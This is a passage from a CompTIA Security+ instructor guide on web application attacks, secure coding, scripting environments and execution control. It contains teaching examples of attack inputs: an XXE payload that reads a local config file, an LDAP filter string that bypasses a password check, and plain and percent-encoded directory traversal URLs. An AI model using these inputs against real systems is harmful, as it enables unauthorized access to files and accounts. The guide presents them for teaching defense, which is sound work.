authorizations, and for other types of data exchange and uploading. Data submitted
can identify XML and
LDAP syntax. via XML with no encryption or input validation is vulnerable to spoofing, request
forgery, and injection of arbitrary data or code. For example, an XML External Entity
(XXE) attack embeds a request for a local resource (owasp.org/www-community/
vulnerabilities/XML_External_Entity_(XXE)_Processing).
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY bar
SYSTEM "file:///etc/config"> ]>
<bar>&bar;</bar>
This defines an entity named bar that refers to a local file path. A successful attack will
return the contents of /etc/config as part of the response.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 379

Lightweight Directory Access Protocol (LDAP) Injection

The Lightweight Directory Access Protocol (LDAP) is another example of a query
language. LDAP is specifically used to read and write network directory databases. A
threat actor could exploit either unauthenticated access or a vulnerability in a client
app to submit arbitrary LDAP queries. This could allow accounts to be created or
deleted, or for the attacker to change authorizations and privileges (owasp.org/www-
community/attacks/LDAP_Injection).
LDAP filters are constructed from (name=value) attribute pairs delimited by
parentheses and the logical operators AND (&) and OR (|). Adding filter parameters as
unsanitized input can bypass access controls. For example, if a web form authenticates
to an LDAP directory with the valid credentials Bob and Pa$$w0rd, it may construct a
query such as this from the user input:
(&(username=Bob)(password=Pa$$w0rd))
Both parameters must be true for the login to be accepted. If the form input is not
sanitized, a threat actor could bypass the password check by entering a valid username
plus an LDAP filter string, such as bob)(&)). This causes the password filter to be
dropped for a condition that is always true:
(&(username=Bob)(&))

Directory Traversal and Command Injection Attacks Show Slide(s)

Directory traversal is another type of injection attack performed against a web server. Directory Traversal
The threat actor submits a request for a file outside the web server's root directory by and Command
submitting a path to navigate to the parent directory (../). This attack can succeed if the Injection Attacks
input is not filtered properly and access permissions on the file are the same as those
on the web server directory.
The threat actor might use a canonicalization attack to disguise the nature of the
malicious input. Canonicalization refers to the way the server converts between the
different methods by which a resource (such as a file path or URL) may be represented
and submitted to the simplest (or canonical) method used by the server to process the
input. Examples of encoding schemes include HTML entities and character set percent
encoding (ASCII and Unicode). An attacker might be able to exploit vulnerabilities in
the canonicalization process to perform code injection or facilitate directory traversal.
For example, to perform a directory traversal attack, the attacker might submit a URL
such as:
http://victim.foo/?show=../../../../etc/config
A limited input validation routine would prevent the use of the string ../ and refuse the
request. If the attacker submitted the URL using the encoded version of the characters,
he or she might be able to circumvent the validation routine:
http://victim.foo/?
show=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/config
A command injection attack attempts to cause the server to run OS shell commands
and return the output to the browser. As with directory traversal, the web server
should normally be able to prevent commands from operating outside of the server's
directory root and to prevent commands from running with any other privilege level
than the web "guest" user (who is normally granted only very restricted privileges).
A successful command injection attack would find some way of circumventing this
security (or find a web server that is not properly configured).

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 380 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Server-Side Request Forgery

Server-Side Request A server-side request forgery (SSRF) causes the server application to process an arbitrary
Forgery request that targets another service, either on the same host or a different one (owasp.
org/www-community/attacks/Server_Side_Request_Forgery). SSRF exploits both the lack
Teaching of authentication between the internal servers and services (implicit trust) and weak
Tip input validation, allowing the attacker to submit unsanitized requests or API parameters.
Note that SSRF A web application takes API input via a URL or as data encoded in HTTP response
encompasses a
headers. The web application is likely to use a standard library to read (parse) the URL
number of techniques.
Make sure students or response headers. Many SSRF attacks depend on exploits against specific parsing
can distinguish SSRF mechanisms in standard libraries for web servers, such as Apache or IIS, and web
and CSRF/XSRF. With application programming languages and tools, such as the curl library, Java, and PHP.
XSRF, the browser is SSRF can also use XML injection to exploit weaknesses in XML document parsing.
tricked into submitting
a malicious request; One type of SSRF uses HTTP request splitting or CRLF injection. The attacker crafts
with SSRF, it is the a malicious URL or request header targeting the server's API. The request contains
server that appears extra line feeds, which may be coded in some non-obvious way. Unless the web server
to make the request,
strips these out when processing the URL, it will be tricked into performing a second
either to another
service running on HTTP request.
the same host, or to a SSRF attacks are often targeted against cloud infrastructure where the web server
different server.
is only the public-facing component of a deeper processing chain. A typical web
application comprises multiple layers of servers, with a client interface, middleware
logic layers, and a database layer. Requests initiated from the client interface (a web
form) are likely to require multiple requests and responses between the middleware
and back-end servers. These will be implemented as HTTP header requests and
responses between each server's API. SSRF is a means of accessing these internal
servers by causing the public server to execute requests on them. While with CSRF an
exploit only has the privileges of the client, with SSRF the manipulated request is made
with the server's privilege level.

Server-side request forgery example. (Images © 123RF.com.)

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 381

SSRF encompasses a very wide range of potential exploits and targets, some of
which include:
• Reconnaissance—a response may contain metadata describing the type and
configuration of internal servers. SSRF can also be used to port scan within the
internal network.

• Credential stealing—a response may contain an API key that the internal servers use
between themselves.

• Unauthorized requests—the server-initiated request might change data or access a

service in an unauthorized way.

• Protocol smuggling—despite initially being carried over HTTP, the SSRF might target
an internal SMTP or FTP server. That server may be configured in a "best effort"
way, strip the HTTP header, and do its best to return the response to the SMTP or
FTP request.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 382 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Indicators of Web Application Attacks
Answer the following questions:

1. You are reviewing access logs on a web server and notice repeated requests
for URLs containing the strings %3C and %3E. Is this an event that should be
investigated further, and why?

Those strings represent percent encoding for HTML tag delimiters (< and >). This could
be an XSS attempt to inject a script so should be investigated.

2. You have been asked to monitor baseline API usage so that a rate limiter
value can be set. What is the purpose of this?

A rate limiter will mitigate denial of service (DoS) attacks on the API, where a malicious
entity generates millions of spurious requests to block legitimate ones. You need to
establish a baseline to ensure continued availability for legitimate users by setting the
rate limit at an appropriate level.

3. How does a replay attack work in the context of session hijacking?

The attacker captures some data, such as a cookie, used to log on or start a session
legitimately. The attacker then resends the captured data to re-enable the connection.

4. How does a clickjacking attack work?

The attacker inserts an invisible layer into a trusted web page that can intercept or
redirect input without the user realizing.

5. What is a persistent XSS attack?

Where the attacker inserts malicious code into the back-end database used to serve
content to the trusted site.

6. How might an attacker exploit a web application to perform a shell

injection attack?

The attacker needs to find a vulnerable input method, such as a form control or URL or
script parser, that will allow the execution of OS shell commands.

7. You are improving back-end database security to ensure that requests

deriving from front-end web servers are authenticated. What general class
of attack is this designed to mitigate?

Server-side request forgery (SSRF) causes a public server to make an arbitrary request
to a back-end server. This is made much harder if the threat actor has to defeat
an authentication or authorization mechanism between the web server and the
database server.

Lesson 14: Summarizing Secure Application Concepts | Topic 14B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 383

Topic 14C
Summarize Secure Coding Practices

EXAM OBJECTIVES COVERED Teaching

2.3 Summarize secure application development, deployment, and automation concepts Tip
3.2 Given a scenario, implement host or application security solutions Having covered the
main attack types,
this topic looks at
While you may not be taking on direct development duties on major projects, you will coding techniques that
often be called upon to make updates to scripts, or make a quick judgment whether a mitigate those risks.
script could be vulnerable and should be evaluated more closely for weaknesses. Being
able to summarize secure coding practices will help you to work effectively as part of a
DevSecOps team.

Secure Coding Techniques Show Slide(s)

The security considerations for new programming technologies should be well Secure Coding
understood and tested before deployment. One of the challenges of application Techniques
development is that the pressure to release a solution often trumps any requirement
to ensure that the application is secure. A legacy software design process might be Teaching
heavily focused on highly visible elements, such as functionality, performance, and Tip
cost. Modern development practices use a security development life cycle running in Check that students
parallel or integrated with the focus on software functionality and usability. Examples understand the
include Microsoft's SDL (microsoft.com/en-us/securityengineering/sdl) and the OWASP difference between
Software Assurance Maturity Model (owasp.org/www-project-samm) and Security input validation and
output encoding.
Knowledge Framework (owasp.org/www-project-security-knowledge-framework).
Input validation occurs
OWASP also collates descriptions of specific vulnerabilities, exploits, and mitigation
when a script takes
techniques, such as the OWASP Top 10 (owasp.org/www-project-top-ten). data passed to it by
Some of the most important coding practices are input validation, output encoding, some other process.
This could be an API
and error handling. request, user form
data, and so on. Input
Input Validation validation can be
performed by client-
A primary vector for attacking applications is to exploit faulty input validation. Input side code, server-side
could include user data entered into a form or URL passed by another application as code, or both.
a URL or HTTP header. Malicious input could be crafted to perform an overflow attack Output encoding
or some type of script or SQL injection attack. To mitigate this risk, all input methods occurs when a script
should be documented with a view to reducing the potential attack surface exposed by passes data to another
the application. There must be routines to check user input, and anything that does not script. For example,
when a server passes
conform to what is required must be rejected. parameters to a DOM
script running in
Normalization and Output Encoding the browser, output
encoding ensures
Where an application accepts string input, the input should be subjected to it isn't passing any
normalization procedures before being accepted. Normalization means that a string malicious "<script>"
is stripped of illegal characters or substrings and converted to the accepted character contents. Output
set. This ensures that the string is in a format that can be processed correctly by the encoding avoids the
assumption that
input validation routines. input will have been
When user-generated strings are passed through different contexts in a web sanitized already.
application—between HTTP, JavaScript, PHP, and SQL for instance—each with

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 384 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

potentially different canonicalization schemes, it is extremely difficult to ensure that

characters that would facilitate script injection by XSS have been rendered safe.
Output encoding means that the string is re-encoded safely for the context in which
it is being used. For example, a web form might perform input validation at the client,
but when it reaches the server, a PHP function performs output encoding before
composing an SQL statement. Similarly, when a string is delivered from a database
using SQL, a JavaScript function would perform output encoding to render the string
using safe HTML entities (cheatsheetseries.owasp.org/cheatsheets/Cross_Site_
Scripting_Prevention_Cheat_Sheet.html).

Show Slide(s) Server-Side versus Client-Side Validation

Server-Side versus
A web application (or any other client-server application) can be designed to perform
Client-Side Validation code execution and input validation locally (on the client) or remotely (on the server).
An example of client-side execution is a document object model (DOM) script to
render the page using dynamic elements from user input. Applications may use both
techniques for different functions. The main issue with client-side validation is that
the client will always be more vulnerable to some sort of malware interfering with the
validation process. The main issue with server-side validation is that it can be time-
consuming, as it may involve multiple transactions between the server and client.
Consequently, client-side validation is usually restricted to informing the user that
there is some sort of problem with the input before submitting it to the server. Even
after passing client-side validation, the input will still undergo server-side validation
before it can be posted (accepted). Relying on client-side validation only is poor
programming practice.

Show Slide(s) Web Application Security

Web Application
With web application, special attention must be paid to secure cookies and options for
Security HTTP response header security.

Interaction Secure Cookies

Opportunity
Cookies can be a vector for session hijacking and data exposure if not configured
Students can use
correctly (developer.mozilla.org/en-US/docs/Web/HTTP/Cookies). Some of the key
browser inspector
tools (Network tab) parameters for the SetCookie header are:
to view cookies set by • Avoid using persistent cookies for session authentication. Always use a new cookie
sites plus request and
when the user reauthenticates.
response headers and
scripts.
• Set the Secure attribute to prevent a cookie being sent over unencrypted HTTP.

• Set the HttpOnly attribute to make the cookie inaccessible to document object
model/client-side scripting.

• Use the SameSite attribute to control from where a cookie may be sent, mitigating
request forgery attacks.

Response Headers
A number of security options can be set in the response header returned by the
server to the client (owasp.org/www-project-secure-headers). While it should seem
like a straightforward case of enabling all these, developers are often constrained by
compatibility and implementation considerations between different client browser
and server software types and versions. Some of the most important security-relevant
header options are:

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 385

• HTTP Strict Transport Security (HSTS)—forces browser to connect using HTTPS only,
mitigating downgrade attacks, such as SSL stripping.

• Content Security Policy (CSP)—mitigates clickjacking, script injection, and other

client-side attacks. Note that X-Frame-Options and X-XSS-Protection provide
mitigation for older browser versions, but are now deprecated in favor of CSP.

• Cache-Control—sets whether the browser can cache responses. Preventing caching

of data protects confidential and personal information where the client device might
be shared by multiple users.

Data Exposure and Memory Management Show Slide(s)

Data exposure is a fault that allows privileged information (such as a token, password, Data Exposure and
or personal data) to be read without being subject to the appropriate access controls. Memory Management
Applications must only transmit such data between authenticated hosts, using
cryptography to protect the session. When incorporating encryption in your code, it's
important to use encryption algorithms and techniques that are known to be strong,
rather than creating your own.

Error Handling
A well-written application must be able to handle errors and exceptions gracefully.
This means that the application performs in a controlled way when something
unpredictable happens. An error or exception could be caused by invalid user input, a
loss of network connectivity, another server or process failing, and so on. Ideally, the
programmer will have written a structured exception handler (SEH) to dictate what
the application should then do. Each procedure can have multiple exception handlers.
Some handlers will deal with anticipated errors and exceptions; there should also be
a catchall handler that will deal with the unexpected. The main goal must be for the
application not to fail in a way that allows the attacker to execute code or perform
some sort of injection attack. One infamous example of a poorly written exception
handler is the Apple GoTo bug (nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-
goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch).
Another issue is that an application's interpreter may default to a standard handler
and display default error messages when something goes wrong. These may reveal
platform information and the inner workings of code to an attacker. It is better for an
application to use custom error handlers so that the developer can choose the amount
of information shown when an error is caused.

Technically, an error is a condition that the process cannot recover from, such as the system
running out of memory. An exception is a type of error that can be handled by a block of
code without the process crashing. Note that exceptions are still described as generating
error codes/messages, however.

Memory Management
Many arbitrary code attacks depend on the target application having faulty memory
management procedures. This allows the attacker to execute his or her own code in
the space marked out by the target application. There are known unsecure practices
for memory management that should be avoided and checks for processing untrusted
input, such as strings, to ensure that it cannot overwrite areas of memory.

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 386 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Secure Code Usage

Secure Code Usage
Developing code to perform some function is hard work, so developers will often
look to see if someone else has done that work already. A program may make use of
Teaching existing code in the following ways:
Tip • Code reuse—using a block of code from elsewhere in the same application or from
The use of off-the- another application to perform a different function (or perform the same function
shelf packages such as in a different context). The risk here is that the copy and paste approach causes
WordPress, Moodle,
or Joomla! can lead to
the developer to overlook potential vulnerabilities (perhaps the function's input
an easily exploitable parameters are no longer validated in the new context).
website if the relevant
security bulletins • Third-party library—using a binary package (such as a dynamic link library) that
and configuration implements some sort of standard functionality, such as establishing a network
advisories are not connection or performing cryptography. Each library must be monitored for
followed. vulnerabilities and patched promptly.
The Magecart
syndicate is a good • Software development kit (SDK)—using sample code or libraries of pre-built
example (trustwave. functions from the programming environment used to create the software or
com/en-us/resources/ interact with a third party API. As with other third party libraries or code, it is
blogs/spiderlabs-blog/
anyone-can-check-for-
imperative to monitor for vulnerabilities.
magecart-with-just-
the-browser).
• Stored procedures—using a pre-built function to perform a database query.
A stored procedure is a part of a database that executes a custom query. The
procedure is supplied an input by the calling program and returns a pre-defined
output for matched records. This can provide a more secure means of querying the
database. Any stored procedures that are part of the database but not required by
the application should be disabled.

Show Slide(s) Other Secure Coding Practices

Other Secure Coding
Input and error handling plus secure reuse of existing code cover some of the
Practices main security-related development practices that you should be aware of. There
are a few other issues that can arise during the development and deployment of
application code.

Unreachable Code and Dead Code

Unreachable code is a part of application source code that can never be executed. For
example, there may be a routine within a logic statement (If ... Then) that can never
be called because the conditions that would call it can never be met. Dead code is
executed but has no effect on the program flow. For example, there may be code to
perform a calculation, but the result is never stored as a variable or used to evaluate
a condition.
This type of code may be introduced through carelessly reused code, or when a block
of code is rewritten or changed. Unreachable and dead code should be removed
from the application to forestall the possibility that it could be misused in some way.
The presence of unreachable/dead code can indicate that the application is not being
well maintained.

Obfuscation/Camouflage
It is important that code be well-documented, to assist the efforts of multiple
programmers working on the same project. Well-documented code is also easier to
analyze, however, which may assist the development of attacks. Code can be made
difficult to analyze by using an obfuscator, which is software that randomizes the
names of variables, constants, functions, and procedures, removes comments and

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 387

white space, and performs other operations to make the compiled code physically
and mentally difficult to read and follow. This sort of technique might be used to
make reverse engineering an application more difficult and as a way of disguising
malware code.

Static Code Analysis Show Slide(s)

Development is only one stage in the software life cycle. A new release of an Static Code Analysis
application or automation script should be audited to ensure that it meets the goals of
confidentiality, integrity, and availability critical to any secure computer system.
Static code analysis (or source code analysis) is performed against the application
code before it is packaged as an executable process. The analysis software must
support the programming language used by the source code. The software will scan
the source code for signatures of known issues, such as OWASP Top 10 Most Critical
Web Application Security Risks or injection vulnerabilities generally. NIST maintains a
list of source code analyzers and their key features (samate.nist.gov/index.php/Source_
Code_Security_Analyzers.html).
Human analysis of software source code is described as a manual code review. It is
important that the code be reviewed by developers (peers) other than the original
coders to try to identify oversights, mistaken assumptions, or a lack of knowledge or
experience. It is important to establish a collaborative environment in which reviews
can take place effectively.

Dynamic Code Analysis Show Slide(s)

Static code review techniques will not reveal vulnerabilities that might exist in the Dynamic Code
runtime environment, such as exposure to race conditions or unexpected user input. Analysis
Dynamic analysis means that the application is tested under "real world" conditions
using a staging environment.
Fuzzing is a means of testing that an application's input validation routines work
well. Fuzzing means that the test or vulnerability scanner generates large amounts
of deliberately invalid and/or random input and records the responses made by
the application. This is a form of "stress testing" that can reveal how robust the
application is. There are generally three types of fuzzers, representing different ways of
injecting manipulated input into the application:
• Application UI—identify input streams accepted by the application, such as input
boxes, command line switches, or import/export functions.

• Protocol—transmit manipulated packets to the application, perhaps using

unexpected values in the headers or payload.

• File format—attempt to open files whose format has been manipulated, perhaps
manipulating specific features of the file.

Fuzzers are also distinguished by the way in which they craft each input (or test
case). The fuzzer may use semi-random input (dumb fuzzer) or might craft specific
input based around known exploit vectors, such as escaped command sequences or
character literals, or by mutating intercepted inputs.
Associated with fuzzing is the concept of stress testing an application to see how an
application performs under extreme performance or usage scenarios.

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 388 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Finally, the fuzzer needs some means of detecting an application crash and recording
which input sequence generated the crash.

Loading a list of strings for the payload of a fuzzing test in Burp Suite.
(Screenshot Burp Suite portswigger.net/burp.)

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 389

Review Activity:
Secure Coding Practices
Answer the following questions:

1. What type of programming practice defends against injection-style attacks,

such as inserting SQL commands into a database application from a site
search form?

Input validation provides some mitigation against this type of input being passed to an
application via a user form. Output encoding could provide another layer of protection
by checking that the query that the script passes to the database is safe.

2. What coding practice provides specific mitigation against XSS?

Output encoding ensures that strings are made safe for the context they are being
passed to, such as when a JavaScript variable provides output to render as HTML. Safe
means that the string does not contain unauthorized syntax elements, such as script
tags.

3. You are discussing execution and validation security for DOM scripting with
the web team. A junior team member wants to know if this relates to client-
side or server-side code. What is your response?

The document object model (DOM) is the means by which a script (JavaScript) can
change the way a page is rendered. As this change is rendered by the browser, it is
client-side code.

4. Which response header provides protection against SSL stripping attacks?

HTTP Strict Transport Security (HSTS).

5. What vulnerabilities might default error messages reveal?

A default error message might reveal platform information and the workings of the
code to an attacker.

6. What is an SDK and how does it affect secure development?

A software development kit (SDK) contains tools and code examples released by a
vendor to make developing applications within a particular environment (framework,
programming language, OS, and so on) easier. Any element in the SDK could contain
vulnerabilities that could then be transferred to the developer's code or application.

7. What type of dynamic testing tool would you use to check input validation
on a web form?

A fuzzer can be used to submit known unsafe strings and randomized input to test
whether they are made safe by input validation or not.

Lesson 14: Summarizing Secure Application Concepts | Topic 14C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 390 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 14D
Implement Secure Script Environments

Teaching EXAM OBJECTIVES COVERED

Tip 1.4 Given a scenario, analyze potential indicators associated with network attacks
3.2 Given a scenario, implement host or application security solutions
This topic focuses
on the uses and
4.1 Given a scenario, use the appropriate tool to assess organizational security
abuses of Python and
PowerShell. We also As a security technician, you will often have to develop automation scripts, using a
cover the application range of programming and scripting languages. Scripts can be used to return critical
security/code signing/
execution control
security assessment data and to configure hosts, so it is important that only validated
examples from code can be executed. You should also be able to identify malicious code in scripts
objective 3.2. and macros.

Show Slide(s) Scripting

Scripting
Automation using scripting means that each configuration or build task is performed
by a block of code. The script will take standard arguments as data, so there is less
Teaching scope for uncertainty over configuration choices leading to errors. A script will use the
Tip following elements:
Aim to provide a • Parameters that the script takes as input data (passed to the script as arguments).
broad overview of
scripting technologies • Branching and looping statements that can alter the flow of execution based on
and practices.
logic conditions.
We will return to
orchestration in a bit • Validation and error handlers to check inputs and ensure robust execution.
more detail in the next
lesson. • Unit tests to ensure that the script returns the expected outputs, given the
expected inputs.

Popular scripting languages for automation include PowerShell (docs.microsoft.

com/en-us/powershell/scripting/overview?view=powershell-7), Python (python.org),
JavaScript (w3schools.com/js), Ruby (ruby-lang.org/en), and Go (golang.org). Scripting
will also make use of domain-specific languages, such as SQL, XML parsing, regex, and
orchestration tools.

Show Slide(s) A scripting language like Python is a general purpose or procedural language. It can be
adapted to perform many tasks. A domain-specific language (DSL) performs a particular
Python Script task, such as regex string parsing. Orchestration manages multiple automation scripts and
Environment configuration data to provision a service.

Teaching
Tip All coding languages have a specific syntax that constrains the way sections of code are
Given the time laid out in blocks and the standard statements that are available, such as branching
allowed, just try to and looping constructions.
ensure that students
can identify Python
code and interpret Python Script Environment
basic code structures,
such as function Python is a popular language for implementing all kinds of development projects,
definitions, function including automation tools and security tools, as well as malicious scripts (python.org).
calls, and logical tests. Where many languages use brackets to denote blocks of code, Python uses indentation

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 391

(4 spaces per level, by convention). Any statement that starts a block is delimited by
a colon. Python is case-sensitive; for example, the variable user cannot be referred
to by the label User or USER. Comment lines are marked by the # character. You can
view inline help on modules, functions, and keywords using the help statement. For
example, the following command shows help for the print function: help(print)

Variables
Python uses the = operator to assign a name to a variable. Names are not declared
with a data type, such as string or integer, but Python is strongly typed, meaning that
you cannot multiply an integer variable by a string variable, for instance. String literals
can be delimited using single or double quotes.

Functions
Functions are used to produce modular, reusable code. A function takes some
arguments as parameters, performs some processing, and typically returns some
output. When creating a script, you will use some functions from Python's modules and
define your own functions. A function is defined using the following indentation syntax:
def fullname(name,surname):
   return name + " " + surname
#This ends the function definition
#The next line calls the function to set a variable
greeting = 'Hello ' + fullname('World', '')
print(greeting)

Logic and Looping Statements

Branching and looping statements let you test conditions and perform repetitive
actions using compact code. Python uses the following comparison operators:

Operator Operation
== Is equal to
!= Is not equal to
< Is less than
> Is greater than
<= Is less than or equal to
>= Is greater than or equal to

A control block is written with indentation in the following general form:

if name == 'World':
   #These indented statements are only executed if
the condition is true
   print('Enter your first name')
   name = input()
   print('Enter your surname')
   surname = input()

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 392 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

#This ends the if statement as the next line is not

indented
greeting = 'Hello ' + fullname(name,surname)
Python uses only if for branching logic, though complex nested conditions can be
simplified with else and elif (else if). Loops can be constructed using for and while.

Modules
A Python module is a library of functions for accomplishing standard tasks, such
as opening a network socket or interacting with an operating system's API. One of
the perceived strengths of Python is the huge number of modules. For example,
the os module contains functions to interact with the operating system, while the
socket module handles network connections and the url module opens and parses
resource addresses. Various extension modules allow a Python script to interact with
Windows APIs.

The presence of two malicious libraries within a Python repository illustrates the potential
risks of third-party code (https://www.zdnet.com/article/two-malicious-python-libraries-
removed-from-pypi/).

Execution
Python is an interpreted language, executed within the context of a binary Python
process. In Windows, a Python script (.py) can be called via python.exe (with a
command window) or pythonw.exe (with no command window). A Python script can
also be compiled to a standalone Windows executable using the py2exe extension. This
executable can be digitally signed.

Show Slide(s) PowerShell Script Environment

PowerShell Script
PowerShell is the preferred method of performing Windows administration tasks (docs.
Environment microsoft.com/en-us/powershell/scripting/overview?view=powershell-7). It has also
become the Windows hacker's go-to toolkit. PowerShell statements can be executed at a
Teaching PowerShell prompt, or run as a script (.ps1) on any PowerShell-enabled host.
Tip
The Get-Help cmdlet shows help on different elements of the PowerShell environment.
Again, just try to PowerShell is case-insensitive.
ensure that students
can recognize
PowerShell code and
Cmdlets and Functions
syntax.
Most PowerShell usage is founded on cmdlets. A cmdlet is a compiled library that
exposes some configuration or administrative task, such as starting a VM in Hyper-V.
Cmdlets use a Verb-Noun naming convention. Cmdlets always return an object.
Typically, the return from a cmdlet will be piped to some other cmdlet or function.
For example:
Get-Process | Where { $_.name -eq 'nmap' } | Format-
List
You can also define simple functions for use within your scripts. Custom functions
declared within curly brackets:
function Cat-Name {
  param ($name,$surname)
  return $name + ' ' + $surname
}

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 393

#This ends the function declaration; the next

statement calls it
$greeting = 'Hello ' + $(Cat-Name('World',''))
Write-Host $greeting
Note that a variable is declared by prefixing a label with $.

Logic and Looping Statements

PowerShell supports a wider range of branching and looping structures than Python,
including the switch and do statements. Curly brackets are used to structure the
statements. PowerShell uses textual operators (-eq, -ne, -lt, -gt, -le, and -ge).

Modules
PowerShell can also be used with a large number of modules, which are added to a
script using the Import-Module cmdlet.

Varonis' blog series illustrates uses of PowerShell as a security administration platform

(varonis.com/blog/practical-powershell-for-it-security-part-i-file-event-monitoring).

Execution Control Show Slide(s)

Execution control is the process of determining what additional software or scripts Execution Control
may be installed or run on a host beyond its baseline.
Teaching
Allow and Block Lists Tip
Execution control can be implemented as either an allow list or a block list. Terminology such as
black/whitelist is non-
• Allow list is a highly restrictive policy that means only running authorized processes inclusive and is being
and scripts. Allowing only specific applications that have been added to a list will replaced by neutral
terms (block/allow
inevitably hamper users at some point and increase support time and costs. For
lists).
example, a user might need to install a conferencing application at short notice.

• Block list is a permissive policy that only prevents execution of listed processes
and scripts. It is vulnerable to software that has not previously been identified as
malicious (or capable of or vulnerable to malicious use).

These concepts can also be referred to as whitelists and blacklists, but most sources now
deprecate this type of non-inclusive terminology.

Code Signing
Code signing is the principal means of proving the authenticity and integrity of code
(an executable or a script). The developer creates a cryptographic hash of the file then
signs the hash using his or her private key. The program is shipped with a copy of the
developer's code signing certificate, which contains a public key that the destination
computer uses to read and verify the signature. The OS then prompts the user to
choose whether to accept the signature and run the program.

OS-Based Execution Control

Execution control is often enforced using a third-party security product, but there are
some built-in Windows features that can perform the task:

Lesson 14: Summarizing Secure Application Concepts | Topic 14D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 394 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Software Restriction Policies (SRP)—available for most versions and editions of

Windows, SRP can be configured as group policy objects (GPOs) to passlist file
system locations from which executables and scripts can launch. Rules can also be
configured by publisher signature or by file hash. There is also support for creating
blocklist-based rules.

• AppLocker—improves configuration options and default usage of SRP. Notably

AppLocker policies can be applied to user and group accounts rather than just
computer accounts. However, AppLocker GPOs can only be configured for
Enterprise and Ultimate editions of Windows 7 and later.

• Windows Defender Application Control (WDAC)—formerly Device Guard, this can

be used to create Code Integrity (CI) policies, which can be used on their own or
in conjunction with AppLocker. CI policies apply to the computer and affect all
users. CI policies can be based on version-aware and publisher digital signatures,
as well as image hashes and/or file paths. WDAC is a useful option for preventing
administrator accounts from disabling execution control options (docs.microsoft.
com/en-us/windows/security/threat-protection/windows-defender-application-
control/windows-defender-application-control). WDAC is principally configured
using XML policy statements and PowerShell.

In Windows, execution of PowerShell scripts can be inhibited by the execution policy. Note
that the execution policy is not an access control mechanism. It can be bypassed in any
number of different ways. WDAC is a robust mechanism for restricting use of potentially
dangerous code, such as malicious PowerShell.

In Linux, execution control is normally enforced by using a mandatory access control

(MAC) kernel module or Linux Security Module (LSM). The two main LSMs are
SELinux (access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/
deployment_guide/ch-selinux) and AppArmor (wiki.ubuntu.com/AppArmor).

Show Slide(s) Malicious Code Indicators

Malicious Code
As with buffer overflow, indicators of malicious code execution are either caught by
Indicators endpoint protection software or discovered after the fact in logs of how the malware
interacted with the network, file system, and registry. If you are performing threat
Teaching hunting or observing malware in a sandbox, it is helpful to consider the main types of
Tip malicious activity:
Note that indicators
are mostly gathered
• Shellcode—this is a minimal program designed to exploit a buffer overflow or
from the way a similar vulnerability to gain privileges, or to drop a backdoor on the host if run as
malicious process a Trojan (attack.mitre.org/tactics/TA0002). Having gained a foothold, this type of
interacts with the attack will be followed by some type of network connection to download additional
system. This evidence tools.
is gathered through
logging. The purpose • Credential dumping—the malware might try to access the credentials file (SAM on
of EDR-type products a local Windows workstation) or sniff credentials held in memory by the lsass.exe
is to provide real-time
automated analysis of system process (attack.mitre.org/tactics/TA0006).
code execution.
• Lateral movement/insider attack—the general procedure is to use the foothold
to execute a process remotely, using a tool such as psexec (docs.microsoft.com/
en-us/sysinternals/downloads/psexec) or PowerShell (attack.mitre.org/tactics/
